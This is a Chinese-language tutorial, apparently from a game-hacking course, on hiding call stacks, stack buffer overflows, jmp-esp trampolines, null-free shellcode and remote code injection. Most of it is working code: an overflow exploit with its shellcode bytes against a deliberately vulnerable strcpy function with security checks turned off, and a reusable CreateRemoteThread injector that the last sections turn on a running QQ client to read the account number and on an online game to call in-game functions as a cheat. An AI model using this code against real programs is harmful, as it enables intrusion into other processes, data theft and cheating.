1.隐藏堆栈调用
在学习shellcode之前,
我们先利用之前已经学习过的知识来构造一个有意思的调用,当然这是建立在学习完毕我们前面的堆栈课程的前提下.
例如我们正常调用过程如下:
main---->func2---->func1---->func0
那么,毫无疑问,在堆栈中会出现3个返回到地址,分别是:
main call func2的时候push的eip 也就是执行完毕func2返回到main函数的地址.
func2 call func1的时候push的eip 也就是执行完毕func1返回到func2函数的地址.
func1 call func0的时候push的eip 也就是执行完毕func0返回到func1函数的地址.
我们现在依然要实现这样的调用顺序,但是不让堆栈中出现返回到,也是直接ctrl+F9查看不到完整的调用过程.
那么怎么做呢?
流程和原理其实很容易,main函数正常调用func2,只要我们在执行完毕func2的时候将eip修改指向func1
func1执行完毕的时候将eip修改指向func0, 然后func0执行完毕让其顺利返回main函数即可.
这个过程很简单,唯独容易出错的地方仅仅在于维护好堆栈也就是esp以及保存好返回main函数的地址以及ebp.
esp错误堆栈不平衡肯定会崩溃,
main函数返回地址不对,程序肯定错乱,
ebp错误的话,肯定会影响main函数后面的代码以及调用main函数的代码.
所以这3点一定要注意!
那么我们来代码实现:
DWORD preturnmain;
DWORD returnmainebp;
typedef void (*PFUNC)();
void func0();
void func1();
void func2();
PFUNC m_pfunc0 = func0;
PFUNC m_pfunc1 = func1;
PFUNC m_pfunc2 = func2;
void func0()
{
cout << "func0" << endl;
DWORD falseret;
__asm
{
mov esp, ebp
pop falseret
push preturnmain
mov ebp, returnmainebp//但是最后一层返回是需要给main函数正确的ebp的否则 main函数会出错
ret
}
}
void func1()
{
//进到这个call 我们需要注意
//我们不是call进来的 而是push地址ret 相当于eip直接指进来的 所有没有push eip 堆栈里没有返回到这一条
//而且我们调用不会原路返回所以不需要保存ebp
cout << "func1" << endl;
DWORD falseret;
__asm
{
mov esp,ebp//所以EBP指向的位置 下一条没有返回到的地址 而又不需要保存ebp 这条就当返回到用了
pop falseret//弹出假的返回地址
push func0
ret
}
}
void func2()
{
cout << "func2" << endl;
__asm
{
mov esp,ebp
pop returnmainebp
pop preturnmain
push func1
ret
}
}
int main()
{
cout << m_pfunc2 << endl;//输出 func2的地址 方便我们OD观察调试
cin.get();
func2();
cout << "main" << endl;
return 0;
}
备注写的很清晰
这样的调用方式不能通过堆栈或则ctrl+f9直接看到完整调用过程了,只能F7单步逆向流程
例如func2内ctrl+F9 就到了func1内, 这和正常的ctrl+f9的理解是不一样的
func0内 ctrl+f9 直接就到了main函数
如果我们把所有调用流程写成这样,将对防护,防破解以及反外挂都会起到很大作用!
同时利用缓冲区溢出漏洞进行shellcode攻击也用到了以前上的原理.
说的简单点就是修改了eip,让cpu执行我们的代码.
2.缓冲区溢出漏洞
栈溢出原理:
很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!
比如下边的一个简单的函数:
void stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限
printf("%s", buffer);
getchar();
}
由于strcpy_s内部判断了拷贝大小加了溢出保护,如果想上面的例子堆栈溢出,必须使用strcpy,可以加上以下代码:
#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996) //忽略警告
这个函数分配了8个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 8的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。
我们详细学习过堆栈的排列方式
buffer是局部变量,地址是堆栈地址,当strcpy超过他的8字节以后,会覆盖堆栈下面的数据
下面分别是其他局部变量,然后是ebp,然后是返回地址,然后是参数.
我们只要把返回地址覆盖成我们要执行的代码地址,就可以让该函数返回的时候去顺利执行我们的代码了.
3.什么是shellcode
上面我们利用缓冲区溢出漏洞通过覆盖返回地址,让他CPU去对应位置执行我们的代码
我们的代码要以二进制数据的形式写到内存中.
这段既是代码又是数据的二进制数据被称为 Shellcode.
其实shellcode就是一段可执行的二进制代码.也就是机器语言.我们写好的代码反编译成二进制即可.不过这段代码有很多要求
比如不能有参数等等,我们在编写过程中摸索,
比如不能使用全局变量
不能用字符串,因为也是全局常量,需要使用可以写成字符数组,就是局部变量了
上述缓冲区溢出漏洞,肯定是从外部攻击的,shellcode肯定要写到目标进程的内存中
我们可以在目标进程远程申请内存写入,也可以直接在堆栈中构造
既然缓冲区溢出可以覆盖返回到的地址,同样也可以把我们的shellcode覆盖到堆栈中
到时候覆盖到堆栈中的shellcode 地址是 确定不了的,如果想确定地址 很麻烦,那么怎么办呢?
我们可以借助跳板
原理很简单:
我们堆栈从缓冲区覆盖成这样
缓冲区及其他局部变量地址 及ebp==== 覆盖成任意值
返回到 ====覆盖成跳到一句 jmp esp的指令
返回到下面也就是arg1开始 ====覆盖成我们的shellcode
这样在函数返回的时候 会跳转到jmp esp这条指令 ,而这条指令 又会跳到我们的shellcode去直接
这句 jmp esp就是跳板
4.寻找shellcode跳板
我们到系统模块中搜索一个这样的指令即可
DWORD findjmpesp()
{
HMODULE user32Handle = LoadLibraryA("user32");
BYTE* ptr = (BYTE*)user32Handle;
for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{
}
}
}
这样我们就可以构造shellcode了
shellcode用到的API函数我们先以常量书写,后面我们在编写通用方式.
void getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}
5.编写shellcode
准备工作完成,我们开始编写shellcode
_asm
{
sub esp, 0x50
xor ebx,ebx
push 0x0021C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp //标题字符串指针
push 0x00
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1 // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB B9 D8 B1 D5 21"
mov ecx, esp //内容字符串指针
push ebx
push eax
push ecx
push ebx
mov eax, 0x77520BA0
call eax // call MessageBox
push ebx
mov eax, 0x75EF4100
call eax // call ExitProcess
}
这里面需要注意的问题
我们的shellcode 不能有00,否则 strcpy 会提前结束,所以 上面的代码中有字符串00结尾,需要我们修改成其他的代码形式
字符串结尾的00用 寄存器ebx替代
00结尾的常量0x75EF4100
我们写成0x75EF4112
再sub 0x12
把
改成
这样就没有00了
_asm
{
sub esp, 0x50
xor ebx,ebx
push ebx
push 0x2121C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp //标题字符串指针
push ebx
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1 // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB B9 D8 B1 D5 21"
mov ecx, esp //内容字符串指针
push ebx
push eax
push ecx
push ebx
mov eax, 0x77520BA0
call eax // call MessageBox
push ebx
mov eax, 0x75EF4112
sub eax,0x12
call eax // call ExitProcess
}
然后我们把 汇编代码转成二进制机器码也就是shellcode
{0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}
我们填写的缓冲区数据
除了shellcode
还有前面的可以随便填写的局部变量 和要填写的返回地址0x7755c02b
所以完整的字节集如下
局部变量空间有多大要我们OD附加查看以及不断调整测试
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}
这个时候会出错
原因是函数内部是有一个占位的局部变量[ebp-4]
他会检测是否为CC,如果为CC说明正常,如果不为CC 则说明有变量越界
那么我们把
这个位置改成CC
同时vs的GS检测 还会检测我们的ebp值是否正确, 我们这里先直接关掉
右键----C/C++----代码生成----安全检查----禁用安全检查GS-
char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };
完整代码如下:
#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996)
DWORD findjmpesp()
{
HMODULE user32Handle = LoadLibraryA("user32");
BYTE* ptr = (BYTE*)user32Handle;
for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{
}
}
}
void getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}
char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };
void stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限
printf("%s", buffer);
getchar();
}
int main()
{
DWORD pjmpespr = findjmpesp();
DWORD old1 = 0;
VirtualProtect((PVOID)pjmpespr, 200, PAGE_EXECUTE_READWRITE, &old1);//正常找一块可执行的位置
getapiaddr();
cout << "stackoverflow函数地址:"<<stackoverflow << endl;
cin.get();
stackoverflow(shellcode);
return 0;
}
6.shellcode锻炼,X64替代内联汇编
要求,我们把加法运算写成shellcode调用
__asm
{
push ebp
mov ebp, esp
sub esp, 10h
push ecx
mov eax, [ebp + 8]
mov ecx, [ebp + 0xC]
add eax, ecx
pop ecx
mov esp, ebp
pop ebp
ret
}
//push ebp
//mov ebp, esp
//sub esp, 10h
//push ecx
//mov eax, [ebp + 8]
//mov ecx, [ebp + 0xC]
//add eax, ecx
//pop ecx
//mov esp, ebp
//pop ebp
//ret
typedef int (*PFN)(int, int);
int main()
{
char code[] =
{
0x55,0x8B,0xEC,0x83,0xEC,0x10 ,0x51 ,0x8B ,0x45 ,0x08 ,0x8B ,0x4D ,0x0C ,0x03 ,0xC1 ,0x59 ,0x8B ,0xE5 ,0x5D ,0xC3
};
PFN pfn = (PFN)((char*)code);
DWORD old = 0;
VirtualProtect((PVOID)code, 100, PAGE_EXECUTE_READWRITE, &old);
int fnret = pfn(1, 2);
cout << fnret << endl;
return 0;
我们发现这样X64可以不写内联汇编用shellcode替代
7.远程shellcode注入
当我们不注入的时候,可以跨进程远程shellcode注入执行命令或则调call
流程很简单
就是远程申请内存,写入我们的shellcode
然后远线程执行
例如跨进程获取我们的企鹅号
代码如下,备注很详细:
void getPushBin(int arg, LPVOID & pShellCode, HANDLE hProcess)
{
if (arg >= -128 && arg <= 127)//例如push 1 两字节
{
unsigned char code = { 106 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
}
else {
unsigned char code = { 104 };//例如push 1111 4字节
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
}
void getCallBin(int Calladdr, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 232 };// call xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
int arg = Calladdr - (int)pShellCode - 5;
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getmovecxBin(int arg, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 185 };// mov ecx,xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getresEaxBin(int src, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 163 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&src, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 = 0, DWORD arg2 = 0, DWORD arg3 = 0, DWORD arg4 = 0, DWORD arg5 = 0, DWORD arg6 = 0, DWORD ecx = 0);
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 , DWORD arg2 , DWORD arg3 , DWORD arg4 , DWORD arg5 , DWORD arg6 , DWORD ecx )
{
LPVOID pShellCodeStart = VirtualAllocEx(hProcess, NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID pShellCode = pShellCodeStart;
LPVOID resEax = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//构造call头部
//push ebp
//mov ebp, esp
//sub esp, 0x3c
unsigned char pfunHead[6] = { 85,139,236,131,236,60 };
SIZE_T codelen = sizeof(pfunHead);
WriteProcessMemory(hProcess, pShellCode, pfunHead, codelen, NULL);
pShellCode = LPVOID((DWORD)pShellCode + codelen);
getPushBin(arg6, pShellCode, hProcess);
getPushBin(arg5, pShellCode, hProcess);
getPushBin(arg4, pShellCode, hProcess);
getPushBin(arg3, pShellCode, hProcess);
getPushBin(arg2, pShellCode, hProcess);
getPushBin(arg1, pShellCode, hProcess);
//构造ecx
getmovecxBin(ecx, pShellCode, hProcess);
//构造call
getCallBin(pFunc, pShellCode, hProcess);
//构造 mov dword[resEax], eax
getresEaxBin((int)resEax, pShellCode, hProcess);
//构造尾部
//add esp, 0x3c
//mov esp, ebp
//pop ebp
//ret
unsigned char pfunEnd[] = { 131,196,60,139,229,93,195 };
codelen = sizeof(pfunEnd);
WriteProcessMemory(hProcess, pShellCode, pfunEnd, codelen, NULL);
pShellCode = LPVOID((int)pShellCode + codelen);
//创建远程线程 执行代码
DWORD Tid;
HANDLE tHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellCodeStart, NULL, NULL, &Tid);
if (!tHandle)
{
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
cout << "执行call失败!" << endl;
return -1;
}
WaitForSingleObject(tHandle, -1);//等待执行结束
int resa = 0;
ReadProcessMemory(hProcess, resEax, &resa, 4, 0);
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
return resa;
}
int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "QQ");//TXGuiFoundation,QQ
while (tempHGame != 0)//遍历多开QQ
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
HMODULE hModule = LoadLibraryA("kernel32.dll");//同电脑加载地址相同
DWORD pGetModuleHandleA = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
DWORD pGetProcAddress = (DWORD)GetProcAddress(hModule, "GetProcAddress");
//QQKernelUtil.dll模块下的?GetSelfUin@Contact@Util@@YAKXZ函数返回QQ号
char dllName[] = "KernelUtil.dll";
char funName[] = "?GetSelfUin@Contact@Util@@YAKXZ";
LPVOID pDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//进程句柄,NULL自动分配,大小,为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,页面属性
WriteProcessMemory(hProcess, pDllName, &dllName, sizeof(dllName), 0);
LPVOID pFunName = VirtualAllocEx(hProcess, NULL, sizeof(funName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pFunName, &funName, sizeof(funName), 0);
DWORD kernelMoudle = CallFunction(hProcess, pGetModuleHandleA, (DWORD)pDllName);//执行GetModuleHandleA 参数"KernelUtil.dll"返回句柄
DWORD pGetSelfUin = CallFunction(hProcess, pGetProcAddress, kernelMoudle, (DWORD)pFunName);
//调用GetProcAddress 参数1 KernelUtil.dll模块句柄 参数2 字符串"?GetSelfUin@Contact@Util@@YAKXZ" 返回?GetSelfUin@Contact@Util@@YAKXZ的地址
DWORD qq = CallFunction(hProcess, pGetSelfUin);//调用?GetSelfUin@Contact@Util@@YAKXZ 无参数 返回QQ号
CloseHandle(hProcess);
cout << "QQ:"<<qq<<endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "QQ");
}
cin.get();
return 0;
}
8.远程调用call
例如:
打坐call
push 1
mov eax,[00D0DF1C]
mov ecx,[eax+1c]
mov ecx,[ecx+28]
mov eax,0x0047E7E0
call eax
int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "口袋西游");//XYElementClient Window,口袋西游
while (tempHGame != 0)
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
DWORD ecx;
DWORD Temp;
ReadProcessMemory(hProcess,(LPCVOID)0x00D0DF1C,&ecx,4,&Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx+0x1c), &ecx, 4, &Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx + 0x28), &ecx, 4, &Temp);
cout << hex;
cout << "ecx=" << ecx << endl;
CallFunction(hProcess, 0x0047E7E0,1,0,0,0,0,0,ecx);
CloseHandle(hProcess);
cout << "执行完毕"<< endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "口袋西游");
}
cin.get();
return 0;
}
打坐成功